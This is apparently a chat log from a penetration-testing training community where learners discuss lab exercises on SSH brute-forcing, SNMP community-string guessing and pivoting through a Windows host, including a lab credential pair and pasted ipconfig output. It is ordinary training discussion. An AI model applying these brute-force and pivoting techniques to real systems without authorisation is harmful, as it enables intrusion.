[fathom pendant]

i mean no; but knowing more tools is certainly helpful

[rustic sage]

i understand i can and it's cool to look at other tools but i feel like ive done something wrong if i follow it exactly as they told me to and it takes 24 hours to run

[fathom pendant]

just because it says 24 hours doesn't mean it will actually be 24 hours

[rustic sage]

it really seemed like it would considering it was at like 40 requests a minute

[fathom pendant]

that's just the time to go through the entire list

but yk you should get a hit way before then

[rustic sage]

yeah

[midnight galleon]

Cybersecurity isn't about doing exactly as you were told

[rustic sage]

I know that

[midnight galleon]

You need to try things and search more

[rustic sage]

if it was a box of something i was trying to crack i would agree but when being taught a tool to brute force ssh you'd expect it to run in reasonable time in the example given

[fathom pendant]

you'll still get a hit before the lab dies ¯_(ツ)_/¯

[thorn urchin]

also who said you actually had to brute ssh? the question? pfft

[fathom pendant]

Imagine reusing a password

[thorn urchin]

imagine not checking for other services that utilize the same authentication source

[sterile epoch]

a is my pwnbox
b is the rdp windows pivot box
c is the target

I am in the pivot box. I am trying to winrm session with target c. but I am getting this error

[fathom pendant]

Incorrect

A is target, b is second box, c is final

[sterile epoch]

but I am in the rdpoversocks section
Use the concepts taught in this section to pivot to the Windows server at 172.16.6.155 (jason:WellConnected123!). Submit the contents of Flag.txt on Jason's Desktop.

this is the task

[fathom pendant]

Check ipconfig on this device, it's not o. The Jason subnet

[fathom pendant]

I'm aware of the task

Which is why I'm telling you you missed something

[dull moth]

hi good night, anyone who already complete the Footprinting Lab - Hard and can answer me question?!

[fathom pendant]

Only if you ask the question

https://dontasktoask.com

[dull moth]

=]

[fathom pendant]

We can't answer a question you don't ask

¯_(ツ)_/¯

[dull moth]

i want to understand why i should bruteforce snmp

[fathom pendant]

Because that's one of the only services available that doesn't have auth

[sterile epoch]

I found 3 interfaces 1 lo 1 to my pwnbox and the last to 172.16.0.0 network

Ethernet adapter Ethernet0 2:

   Connection-specific DNS Suffix  . : .htb
   IPv6 Address. . . . . . . . . . . : dead:beef::5b
   IPv6 Address. . . . . . . . . . . : dead:beef::71ce:9ef2:b086:29ee
   Temporary IPv6 Address. . . . . . : dead:beef::b5e2:4628:d04:b82f
   Link-local IPv6 Address . . . . . : fe80::71ce:9ef2:b086:29ee%9
   IPv4 Address. . . . . . . . . . . : 10.129.42.198
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:e928%9
                                       10.129.0.1

Ethernet adapter Ethernet1 2:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::98f5:5ae5:5223:4310%4
   IPv4 Address. . . . . . . . . . . : 172.16.5.150
   Subnet Mask . . . . . . . . . . . : 255.255.0.0
   Default Gateway . . . . . . . . . : 172.16.5.1

[fathom pendant]

Just a community string

[fathom pendant]

Doesn't look like 172.16.6.x is in this output